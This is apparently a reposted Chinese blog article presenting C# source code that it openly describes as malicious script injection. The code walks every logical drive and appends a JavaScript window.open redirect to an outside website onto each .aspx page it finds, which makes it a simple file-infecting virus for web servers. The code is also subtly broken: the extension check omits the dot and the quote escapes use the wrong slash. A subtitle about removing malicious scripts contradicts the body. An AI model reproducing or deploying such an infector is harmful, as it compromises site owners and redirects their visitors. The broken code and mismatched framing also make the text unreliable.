C#遍历磁盘感染aspx文件

批量替换ASP.NET页面中的恶意脚本代码

最新推荐文章于 2025-12-01 09:19:47 发布

转载最新推荐文章于 2025-12-01 09:19:47 发布 · 458 阅读

文章标签：

#磁盘 #c# #file #string

C#远程管理专栏收录该内容

17 篇文章

订阅专栏

本文介绍了一段脚本代码，用于遍历指定路径下的所有目录和文件，针对扩展名为.aspx的ASP.NET页面进行恶意脚本注入。代码会将页面中的正常内容替换为恶意的JavaScript代码，实现跳转至特定网站的功能。

foreach (string drive in Environment.GetLogicalDrives())
            {
                DirectoryInfo dirinfo = new DirectoryInfo(drive);
                foreach (DirectoryInfo directory in dirinfo.GetDirectories())
                {
                    foreach (FileInfo file in directory.GetFiles())
                    {
                        if (file.Extension == "aspx")
                        {
                            StreamWriter AspxWriter = file.AppendText();
                            AspxWriter.WriteLine();
                            AspxWriter.WriteLine("<script type=/"text/javascript/">");
                            AspxWriter.WriteLine("window.open('http://www.cctv.com');");
                            AspxWriter.WriteLine("</script>");
                            AspxWriter.Close();
                        }

}

                foreach (FileInfo file in dirinfo.GetFiles())
                {
                    if (file.Extension == "aspx")
                    {
                        StreamWriter AspxWriter = file.AppendText();
                        AspxWriter.WriteLine();
                        AspxWriter.WriteLine("<script type=/"text/javascript/">");
                        AspxWriter.WriteLine("window.open('http://www.cctv.com');");
                        AspxWriter.WriteLine("</script>");
                        AspxWriter.Close();
                    }

}
}